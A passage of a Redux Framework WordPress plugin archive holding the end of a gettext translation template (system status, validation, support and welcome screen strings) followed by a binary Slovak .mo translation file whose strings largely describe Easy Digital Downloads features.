demonstrates the many features of Redux. Before digging in, we " "suggest you get up to speed by reviewing %1$s." msgstr "" #: ReduxCore/inc/tracking.php:152 msgid "our documentation" msgstr "" #: ReduxCore/inc/tracking.php:153 msgid "Redux Generator" msgstr "" #: ReduxCore/inc/tracking.php:153 msgid "" "Want to get a head start? Use the %1$s. It will create a customized " "boilerplate theme or a standalone admin folder complete with all things " "Redux (with the help of Underscores and TGM). Save yourself a headache and " "try it today." msgstr "" #: ReduxCore/inc/tracking.php:154 ReduxCore/inc/welcome/welcome.php:214 msgid "Redux Extensions" msgstr "" #: ReduxCore/inc/tracking.php:154 msgid "" "Did you know we have extensions, which greatly enhance the features of " "Redux? Visit our %1$s to learn more!" msgstr "" #: ReduxCore/inc/tracking.php:154 msgid "extensions directory" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "Like Redux?" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "" "If so, please %1$s and consider making a %2$s to keep development of Redux " "moving forward." msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "leave us a favorable review on WordPress.org" msgstr "" #: ReduxCore/inc/tracking.php:155 msgid "donation" msgstr "" #: ReduxCore/inc/tracking.php:156 msgid "Newsletter" msgstr "" #: ReduxCore/inc/tracking.php:156 msgid "" "If you'd like to keep up to with all things Redux, please subscribe to our " "newsletter" msgstr "" #: ReduxCore/inc/tracking.php:157 msgid "Email address" msgstr "" #: ReduxCore/inc/tracking.php:157 msgid "Subscribe" msgstr "" #: ReduxCore/inc/tracking.php:166 msgid "Close" msgstr "" #: ReduxCore/inc/validation/color/validation_color.php:15 #: ReduxCore/inc/validation/color_rgba/validation_color_rgba.php:14 #: ReduxCore/inc/validation/colorrgba/validation_colorrgba.php:16 msgid "This field must be a valid color value." msgstr "" #: ReduxCore/inc/validation/comma_numeric/validation_comma_numeric.php:16 msgid "You must provide a comma separated list of numerical values for this option." msgstr "" #: ReduxCore/inc/validation/css/validation_css.php:38 msgid "Unsafe strings were found in your CSS and have been filtered out." msgstr "" #: ReduxCore/inc/validation/date/validation_date.php:16 msgid "This field must be a valid date." msgstr "" #: ReduxCore/inc/validation/email/validation_email.php:16 #: ReduxCore/inc/validation/email_not_empty/validation_email_not_empty.php:16 msgid "You must provide a valid email for this option." msgstr "" #: ReduxCore/inc/validation/no_html/validation_no_html.php:15 msgid "You must not enter any HTML in this field, all HTML tags have been removed." msgstr "" #: ReduxCore/inc/validation/no_special_chars/validation_no_special_chars.php:16 msgid "" "You must not enter any special characters in this field, all special " "characters have been removed." msgstr "" #: ReduxCore/inc/validation/not_empty/validation_not_empty.php:16 msgid "This field cannot be empty. Please provide a value." msgstr "" #: ReduxCore/inc/validation/numeric/validation_numeric.php:16 #: ReduxCore/inc/validation/numeric_not_empty/validation_numeric_not_empty.php:16 msgid "You must provide a numerical value for this option." msgstr "" #: ReduxCore/inc/validation/unique_slug/validation_unique_slug.php:16 msgid "" "That URL slug is in use, please choose another. <code>%s</code> is open for " "use." msgstr "" #: ReduxCore/inc/validation/url/validation_url.php:16 msgid "You must provide a valid URL for this option." msgstr "" #: ReduxCore/inc/welcome/views/about.php:2 msgid "Welcome to Redux Framework %s" msgstr "" #: ReduxCore/inc/welcome/views/about.php:5 msgid "" "Thank you for updating to the latest version! Redux Framework %s is a huge " "step forward in Redux Development. Look at all that's new." msgstr "" #: ReduxCore/inc/welcome/views/about.php:8 #: ReduxCore/inc/welcome/views/changelog.php:8 #: ReduxCore/inc/welcome/views/credits.php:8 #: ReduxCore/inc/welcome/views/extensions.php:82 #: ReduxCore/inc/welcome/views/status_report.php:31 #: ReduxCore/inc/welcome/views/support.php:8 msgid "Version %s" msgstr "" #: ReduxCore/inc/welcome/views/about.php:15 msgid "What is Redux Framework?" msgstr "" #: ReduxCore/inc/welcome/views/about.php:17 msgid "" "Redux Framework is the core of many products on the web. It is an option " "framework which developers use to\n" " enhance their products." msgstr "" #: ReduxCore/inc/welcome/views/about.php:22 msgid "Learn More" msgstr "" #: ReduxCore/inc/welcome/views/about.php:28 msgid "New in this Release" msgstr "" #: ReduxCore/inc/welcome/views/changelog.php:2 msgid "Redux Framework - Changelog" msgstr "" #: ReduxCore/inc/welcome/views/changelog.php:5 #: ReduxCore/inc/welcome/views/status_report.php:28 msgid "" "Our core mantra at Redux is backwards compatibility. With hundreds of " "thousands of instances worldwide, you can be assured that we will take care " "of you and your clients." msgstr "" #: ReduxCore/inc/welcome/views/credits.php:2 msgid "Redux Framework - A Community Effort" msgstr "" #: ReduxCore/inc/welcome/views/credits.php:5 msgid "" "We recognize we are nothing without our community. We would like to thank " "all of those who help Redux to be what it is. Thank you for your " "involvement." msgstr "" #: ReduxCore/inc/welcome/views/credits.php:14 msgid "" "Redux is created by a community of developers world wide. Want to have your " "name listed too? <a " "href=\"https://github.com/reduxframework/redux-framework/blob/master/" "CONTRIBUTING.md\" target=\"_blank\">Contribute to Redux</a>." msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:76 msgid "Redux Framework - Extensions" msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:79 msgid "" "Supercharge your Redux experience. Our extensions provide you with features " "that will take your products to the next level." msgstr "" #: ReduxCore/inc/welcome/views/extensions.php:88 msgid "" "While some are built specificially for developers, extensions such as " "Custom Fonts are sure to make any user happy." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:25 msgid "Redux Framework - System Status" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:38 msgid "" "Please copy and paste this information in your ticket when contacting " "support:" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:41 msgid "Get System Report" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:44 msgid "Understanding the Status Report" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:51 msgid "Copied!" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:51 msgid "Copy for Support" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:60 msgid "WordPress Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:65 msgid "Home URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:66 msgid "The URL of your site's homepage." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:70 msgid "Site URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:71 msgid "The root URL of your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:75 msgid "Redux Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:76 msgid "The version of Redux Framework installed on your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:80 msgid "Redux Data Directory Writable" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:83 msgid "" "Redux and its extensions write data to the <code>uploads</code> directory. " "This directory must be writable." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:88 msgid "To allow data saving, make <code>%s</code> writable." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:93 msgid "WP Content URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:96 msgid "The location of Wordpress's content URL." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:102 msgid "WP Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:103 msgid "The version of WordPress installed on your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:107 msgid "WP Multisite" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:108 msgid "Whether or not you have WordPress Multisite enabled." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:116 msgid "Permalink Structure" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:117 msgid "" "The current permalink structure as defined in Wordpress " "Settings->Permalinks." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:122 msgid "Front Page Display" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:123 msgid "The current Reading mode of Wordpress." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:131 msgid "Front Page" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:132 msgid "The currently selected page which acts as the site's Front Page." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:136 msgid "Posts Page" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:137 msgid "The currently selected page in where blog posts are displayed." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:144 msgid "WP Memory Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:145 msgid "The maximum amount of memory (RAM) that your site can use at one time." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:150 msgid "" "%s - We recommend setting memory to at least 40MB. See: <a href=\"%s\" " "target=\"_blank\">Increasing memory allocated to PHP</a>" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:157 msgid "Database Table Prefix" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:159 msgid "The prefix structure of the current Wordpress database." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:163 msgid "WP Debug Mode" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:164 msgid "Displays whether or not WordPress is in Debug Mode." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:172 msgid "Language" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:173 msgid "The current language used by WordPress. Default = English" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:181 msgid "Browser" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:186 msgid "Browser Info" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:187 msgid "Information about web browser current in use." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:202 msgid "Server Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:207 msgid "Server Info" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:208 msgid "Information about the web server that is currently hosting your site." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:212 msgid "Localhost Environment" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:213 msgid "Is the server running in a localhost environment." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:223 msgid "PHP Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:224 msgid "The version of PHP installed on your hosting server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:228 msgid "ABSPATH" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:229 msgid "The ABSPATH variable on the server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:235 msgid "PHP Memory Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:236 #: ReduxCore/inc/welcome/views/status_report.php:241 msgid "The largest filesize that can be contained in one post." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:240 msgid "PHP Post Max Size" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:245 msgid "PHP Time Limit" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:246 msgid "" "The amount of time (in seconds) that your site will spend on a single " "operation before timing out (to avoid server lockups)" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:250 msgid "PHP Max Input Vars" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:251 msgid "" "The maximum number of variables your server can use for a single function " "to avoid overloads." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:255 msgid "PHP Display Errors" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:256 msgid "Determines if PHP will display errors within the browser." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:267 msgid "SUHOSIN Installed" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:268 msgid "" "Suhosin is an advanced protection system for PHP installations. It was " "designed to protect your servers on the one hand against a number of well " "known problems in PHP applications and on the other hand against potential " "unknown vulnerabilities within these applications or the PHP core itself. " "If enabled on your server, Suhosin may need to be configured to increase " "its data submission limits." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:277 msgid "MySQL Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:278 msgid "The version of MySQL installed on your hosting server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:282 msgid "Max Upload Size" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:283 msgid "The largest filesize that can be uploaded to your WordPress installation." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:287 msgid "Default Timezone is UTC" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:290 msgid "The default timezone for your server." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:293 msgid "Default timezone is %s - it should be UTC" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:304 msgid "Used when communicating with remote services with PHP." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:310 msgid "" "Your server does not have fsockopen or cURL enabled - cURL is used to " "communicate with other servers. Please contact your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:349 msgid "Remote Post" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:350 msgid "Used to send data to remote servers." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:355 msgid "" "wp_remote_post() failed. Many advanced features may not function. Contact " "your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:358 #: ReduxCore/inc/welcome/views/status_report.php:373 msgid "Error: %s" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:365 msgid "Remote Get" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:366 msgid "Used to grab information from remote servers for updates updates." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:371 msgid "" "wp_remote_get() failed. This is needed to get information from remote " "servers. Contact your hosting provider." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:405 msgid "Active Plugins" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:421 msgid "Visit plugin homepage" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:445 msgid "Redux Instance: " msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:452 msgid "The opt_name argument for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:460 msgid "The global_variable argument for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:468 msgid "Indicates if developer mode is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:473 msgid "Indicates if ajax based saving is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:478 msgid "" "The page slug denotes the string used for the options panel page for this " "instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:483 msgid "" "The page permissions variable sets the permission level required to access " "the options panel for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:488 msgid "" "This variable set whether or not the menu is displayed as an admin menu " "item for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:493 msgid "" "The page parent variable sets where the options menu will be placed on the " "WordPress admin sidebar for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:499 msgid "Indicates if the compiler flag is enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:504 msgid "" "Indicates if output flag for globally shutting off all CSS output is " "enabled for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:509 msgid "" "The output_tag variable sets whether or not dynamic CSS will be generated " "for the customizer and Google fonts for this instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:518 msgid "" "The specified template path containing custom template files for this " "instance of Redux." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:523 msgid "List of template files overriding the default Redux template files." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:546 msgid "Indicates the installed Redux extensions and their version numbers." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:577 msgid "Theme" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:582 msgid "Name" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:583 msgid "The name of the current active theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:587 msgid "Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:588 msgid "The installed version of the current active theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:593 msgid "is available" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:598 msgid "Author URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:599 msgid "The theme developers URL." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:603 msgid "Child Theme" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:604 msgid "Displays whether or not the current theme is a child theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:606 msgid "" "If you're modifying Redux Framework or a parent theme you didn't build " "personally, we recommend using a child theme. See: <a href=\"%s\" " "target=\"_blank\">How to create a child theme</a>" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:614 msgid "Parent Theme Name" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:616 msgid "The name of the parent theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:620 msgid "Parent Theme Version" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:623 msgid "The installed version of the parent theme." msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:627 msgid "Parent Theme Author URL" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:630 msgid "The parent theme developers URL." msgstr "" #: ReduxCore/inc/welcome/views/support.php:2 msgid "Redux Framework - Support" msgstr "" #: ReduxCore/inc/welcome/views/support.php:5 msgid "" "We are an open source project used by developers to make powerful control " "panels." msgstr "" #: ReduxCore/inc/welcome/views/support.php:20 msgid "Generate a Support URL" msgstr "" #: ReduxCore/inc/welcome/views/support.php:21 msgid "Select Support Type" msgstr "" #: ReduxCore/inc/welcome/views/support.php:22 #: ReduxCore/inc/welcome/views/support.php:65 msgid "How to Get Support" msgstr "" #: ReduxCore/inc/welcome/views/support.php:27 msgid "Submit a Support Request" msgstr "" #: ReduxCore/inc/welcome/views/support.php:30 msgid "To get started, we will need to generate a support hash." msgstr "" #: ReduxCore/inc/welcome/views/support.php:33 msgid "" "This will provide to your developer all the information they may need to " "remedy your issue. This action WILL send information securely to a remote " "server. To see the type of information sent, please look at the <a " "href=\"%s\">Status tab</a>." msgstr "" #: ReduxCore/inc/welcome/views/support.php:37 msgid "" "Generate\n" " a Support URL" msgstr "" #: ReduxCore/inc/welcome/views/support.php:44 msgid "Select Your Support Type" msgstr "" #: ReduxCore/inc/welcome/views/support.php:47 msgid "What type of user are you?" msgstr "" #: ReduxCore/inc/welcome/views/support.php:52 msgid "User" msgstr "" #: ReduxCore/inc/welcome/views/support.php:53 msgid "I am a user, using a pre-built product." msgstr "" #: ReduxCore/inc/welcome/views/support.php:56 msgid "Developer" msgstr "" #: ReduxCore/inc/welcome/views/support.php:57 msgid "I am a developer, building a product using Redux." msgstr "" #: ReduxCore/inc/welcome/views/support.php:68 msgid "" "Please proceed to the Redux Framework issue tracker and supply us with your " "support URL below. Please also provide any information that will help us to " "reproduce your issue." msgstr "" #: ReduxCore/inc/welcome/views/support.php:74 msgid "" "Listed below are the Wordpress plugins and/or theme installed on your site " "that utilize Redux Framework. We do not directly support products created " "with our framework. It is the responsibility of the plugin or theme " "developer to support their work. You will need to contact the author(s) of " "the products listed below with your support questions." msgstr "" #: ReduxCore/inc/welcome/views/support.php:77 msgid "" "Please be sure to include for your developer - via cut and paste - the " "Support URL in the box below." msgstr "" #: ReduxCore/inc/welcome/views/support.php:215 msgid "" "Should the developer not be responsive, read the <a href=\"%s\" " "target=\"_blank\">following article</a> before asking for support from us " "directly." msgstr "" #: ReduxCore/inc/welcome/welcome.php:170 msgid "Support hash could not be generated. Please try again later." msgstr "" #: ReduxCore/inc/welcome/welcome.php:190 msgid "Welcome to Redux Framework" msgstr "" #: ReduxCore/inc/welcome/welcome.php:198 msgid "Redux Framework Changelog" msgstr "" #: ReduxCore/inc/welcome/welcome.php:206 class.redux-plugin.php:411 msgid "Get Support" msgstr "" #: ReduxCore/inc/welcome/welcome.php:223 msgid "The people that develop Redux Framework" msgstr "" #: ReduxCore/inc/welcome/welcome.php:231 msgid "Redux Framework Status" msgstr "" #: ReduxCore/inc/welcome/welcome.php:336 msgid "What's New" msgstr "" #: ReduxCore/inc/welcome/welcome.php:340 msgid "Extensions" msgstr "" #: ReduxCore/inc/welcome/welcome.php:344 msgid "Changelog" msgstr "" #: ReduxCore/inc/welcome/welcome.php:348 msgid "Credits" msgstr "" #: ReduxCore/inc/welcome/welcome.php:352 msgid "Support" msgstr "" #: ReduxCore/inc/welcome/welcome.php:356 msgid "Status" msgstr "" #: ReduxCore/inc/welcome/welcome.php:513 msgid "View %s" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:47 #: ReduxCore/templates/panel/header_stickybar.tpl.php:20 msgid "Save Changes" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:50 #: ReduxCore/templates/panel/header_stickybar.tpl.php:22 msgid "Reset Section" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:51 #: ReduxCore/templates/panel/header_stickybar.tpl.php:23 msgid "Reset All" msgstr "" #: ReduxCore/templates/panel/footer.tpl.php:56 #: ReduxCore/templates/panel/header_stickybar.tpl.php:26 msgid "Working..." msgstr "" #: ReduxCore/templates/panel/header.tpl.php:18 msgid "Developer Mode Enabled" msgstr "" #: ReduxCore/templates/panel/header_stickybar.tpl.php:16 msgid "Expand" msgstr "" #: class.redux-plugin.php:307 msgid "Redux Framework has an embedded demo." msgstr "" #: class.redux-plugin.php:307 msgid "Click here to activate the sample config file." msgstr "" #: class.redux-plugin.php:408 msgid "Docs" msgstr "" #: class.redux-plugin.php:409 msgid "Repo" msgstr "" #: class.redux-plugin.php:410 msgid "Builder" msgstr "" #: class.redux-plugin.php:416 msgid "Deactivate Demo Mode" msgstr "" #: class.redux-plugin.php:418 msgid "Activate Demo Mode" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:28 msgid "Must call in of after the \"plugins_loaded\" action." msgstr "" #: tests/includes/class-tivwp-dm-controller.php:138 msgid "Unknown action \"%1$s\" specified for %2$s" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:143 msgid "The unknown action has been replaced with \"%s\"" msgstr "" #: tests/includes/class-tivwp-dm-controller.php:158 msgid "Automatic action performed: \"%s\"" msgstr "" #: tests/includes/class-tivwp-dm.php:112 msgid "Activate Development Plugins" msgstr "" #: tests/includes/class-tivwp-dm.php:119 msgid "Deactivate Development Plugins" msgstr "" #: tests/includes/class-tivwp-dm.php:131 msgid "You do not have sufficient permissions to access this page." msgstr "" #. Plugin URI of the plugin/theme msgid "http://wordpress.org/plugins/redux-framework" msgstr "" #. Description of the plugin/theme msgid "" "Redux is a simple, truly extensible options framework for WordPress themes " "and plugins." msgstr "" #. Author of the plugin/theme msgid "Team Redux" msgstr "" #. Author URI of the plugin/theme msgid "http://reduxframework.com" msgstr "" #: ReduxCore/inc/welcome/views/status_report.php:427 msgctxt "by author" msgid "by %s" msgstr ""�����������������������������������������������redux-framework/languages/redux-framework-sk_SK.mo��������������������������������������������������0000644�����������������00000017332�14720701300�0016323 0����������������������������������������������������������������������������������������������������ustar�00�����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������O��������k��� ��������"��������������������������������������������*�����<�����C�����S�� ���p�����z���������������������� �������������������� ��������������� �������� ����� �����$ �� ���; �� ���G �����S �����b ��"��� ����� ����� ����� ����� ����� �� ��� ����� ����� ����� ����� �����% �����. �� ���A �����O �����D �����^ �����# �����* �� ���0 �����= �����B �����H �����X �� ���^ �����j ��&���0 ��{���W ��|��� �����P�����V�����Z�����^�����d�����k�����4�� ���=�����H�����P�����h�� ���������������P���0��;���������"���D�����g�����p��#���/�����S�����m�����u��������������������������� ����� ����� �������� �� �������������&�� ���,�����8�����A�� ���^�� ���l�����v������������ ���������� ����� ����������)�����4���<�� ���q�����|������������'����������%����������������������������%�� ���7�����E������������ ��������������� �������������!�����2�����9�����P��-�����v���3��}��������(�����/�����4�����8�����A�����I�����?�� ���V�� ���`�����m��$����� ���������������M���R��9�������������������>������ ���K�������H����������9���!������.����������J���F���*�������E���#��������������B���������������'���M������0����������+���5���/����������A�������4���<���$���%���:��� ���3���L�������I����������G���6���(���������� ���N���;�����������������������D�������������?��� ���7���-���8���������1������� ���C���2������� ����������,���O����������)���@������"����������=���������������&����������<a href="%s">%s → Add New</a>�Active�Add-on plugins are available that greatly extend the default functionality of Easy Digital Downloads. There are extensions for payment processors, such as Stripe and PayPal, extensions for newsletter integrations, and many, many more.�Additional Display Options�Additional Updates�All�Background Attachment�Background Position�Background Repeat�Bottom�Buy Now Buttons�Change the Number of Columns�Changelog�Close�Copy�Credits�Default�Delete�Description�Disable�Dismiss�Display a Product Grid�Documentation�Download�Download Files�Email address�Enable�Extensions for Everything�Flexible Product Grids�Font Family�Font family�Full Changelog�Get Alerted About New Tutorials�Get Notified of Extension Releases�Getting Started�Height�Import�Left�Need Even Faster Support?�Need Help?�No valid changlog was found.�Off�On�Over 250 Extensions�Password�Phenomenal Support�Product Price�Products can have simple prices or variable prices if you wish to have more than one price point for a product. For a single price, simply enter the price. For multiple price points, click <em>Enable variable pricing</em> and enter the options.�Purchase Buttons Anywhere�Purchase buttons can behave as either Add to Cart or Buy Now buttons. With Buy Now buttons customers are taken straight to PayPal, giving them the most frictionless purchasing experience possible.�Remove�Right�Save Changes�Size�Slide�Stay Up to Date�Style�System Info�The %s menu is your access point for all aspects of your Easy Digital Downloads product creation and setup. To create your first product, simply click Add New and then fill out the product details.�The <em>[purchase_link]</em> Shortcode�The [downloads] shortcode will display a product grid that works with any theme, no matter the size. It is even responsive!�The product grids can be customized in any way you wish and there is <a href="%s">extensive documentation</a> to assist you.�Title�Top�URL�Units�Upload�Uploading the downloadable files is simple. Click <em>Upload File</em> in the Download Files section and choose your download file. To add more than one file, simply click the <em>Add New</em> button.�Username�Version %s�View %s�View the Full Changelog�Visit the Extension Store�What's New�Width�With easily accessible shortcodes to display purchase buttons, you can add a Buy Now or Add to Cart button for any product anywhere on your site in seconds.�You can easily change the number of columns by adding the columns="x" parameter:�You do not have sufficient permissions to access this page.�Project-Id-Version: Redux Framework Report-Msgid-Bugs-To: https://github.com/ReduxFramework/ReduxFramework/issues POT-Creation-Date: 2015-02-03 22:24:22+00:00 PO-Revision-Date: 2015-03-10 15:34+0000 Last-Translator: Dionizio Bonfim Bach <translations@djio.com.br> Language-Team: Slovak (Slovakia) (http://www.transifex.com/projects/p/redux-framework/language/sk_SK/) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Language: sk_SK Plural-Forms: nplurals=3; plural=(n==1) ? 0 : (n>=2 && n<=4) ? 1 : 2; X-Generator: grunt-wp-i18n 0.4.9 X-Poedit-Basepath: ../ X-Poedit-Bookmarks: X-Poedit-Country: United States X-Poedit-KeywordsList: __;_e;_x:1,2c;_ex:1,2c;_n:1,2;_nx:1,2,4c;_n_noop:1,2;_nx_noop:1,2,3c;esc_attr__;esc_html__;esc_attr_e;esc_html_e;esc_attr_x:1,2c;esc_html_x:1,2c; X-Poedit-SearchPath-0: . X-Poedit-SourceCharset: UTF-8 X-Textdomain-Support: yes �<a href="%s">Pridať nový %s </a>�Aktívny�Existuje veľa doplnkov rozširujúcich funkcionalitu Easy Digital Downloads. Rozšírenia zahŕňajú platobné procesory (Stripe, PayPal) integráciu informačných letákov a omnoho viac.�Nastavenia pokročilého zobrazenia�Dodatočné aktualizácie�Všetko�Príloha pozadia�Umiestnenie pozadia�Opakovanie pozadia�Spodok�Tlačidlá kúpiť ihneď�Zmeniť počet stĺpcov�Zoznam zmien�Zatvoriť�Kopírovať�Kredity�Predvolený�Vymazať�Popis�Zablokovať�Zrušiť�Zobraziť mriežku produktov�Dokumentácia�Stiahnuť�Stiahnuť súbory�E-mailová adresa�Povoliť�Rozšírenia pre všetko možné�Flexibilná mriežka produktov�Štýl písma�Typ písma�Úplný záznam zmien�Získajte informácie o nových návodoch�Získajte oznámenia o vydaní nových rozšírení.�Začíname�Výška�Import�Vľavo�Potrebujete ešte rýchlejšiu podporu?�Potrebujete pomoc?�Nebol nájdený platný záznam zmien�Vypnúť�Zapnúť�Viac ako 250 rozšírení�Heslo�Úžasná podpora�Cena produktu�Produkty môžu mať jednotné alebo variabilné ceny. Ak si želáte jednotnú cenu zadajte tú. Pre nastavenia viacerých cien, nastavte <em>variabilné ceny.</em>�Všade tlačidlá nákupu�Tlačidlá nákupu sa správajú buď ako tlačidlo "pridať do košíka" alebo ako tlačidlo "kúpiť teraz". Pomocou "kúpiť teraz" je zákazník rovno presmerovaný na stránku PayPal kde zažije najlepšiu platobnú skúsenosť.�Odstrániť�Vpravo�Uložiť zmeny�Veľkosti�Posuv�Buďte aktuálny�Štýl�Informácie o systéme�Menu %s hrá úlohu prístupu k vytvoreniu a nastavenou celého modulu Easy Digital Downloads. Pre vytvorenie produktu kliknite na tlačidlo "pridať nový" a vyplňte podrobnosti.�Krátky kód nákupu <em>[purchase_link]</em>�Krátky kód [downloads] je responzívna mriežka vašich produktov. Teraz môžete predávať na ľubovoľnom mieste!�Mriežka produktov je prispôsobiteľná podľa vašich požiadaviek. Môžeme vám pomôcť <a href="%s">dokumentáciou</a>.�Názov�Vrch�URL�Jednotky�Nahrať�Nahratie stiahnuteľných súborov je jednoduché. V sekcii stiahnutia súborov si vyberiete súbor a kliknete na tlačidlo <em>nahrať súbor</em>. Pre pridanie viacerých súborov jednoducho klikajte daľej na tlačiclo <em>pridať nový</em>.�Používateľské meno�Verzia %s�Zobraziť %s�Zobraziť celý záznam zmien.�Navštíviť obchod s rozšíreniami�Čo je nové�Šírka�Pomocou krátkych kódov predstavujúcich tlačidlá: Pridať do košíka a Kúpiť teraz môžete zobraziť nákup kdekoľvek na stránke.�Jednoducho môžete zmeniť počet stĺpcov pridaním parametra: columns="x" �Nemáte dostatočné práva na prístup k tejto 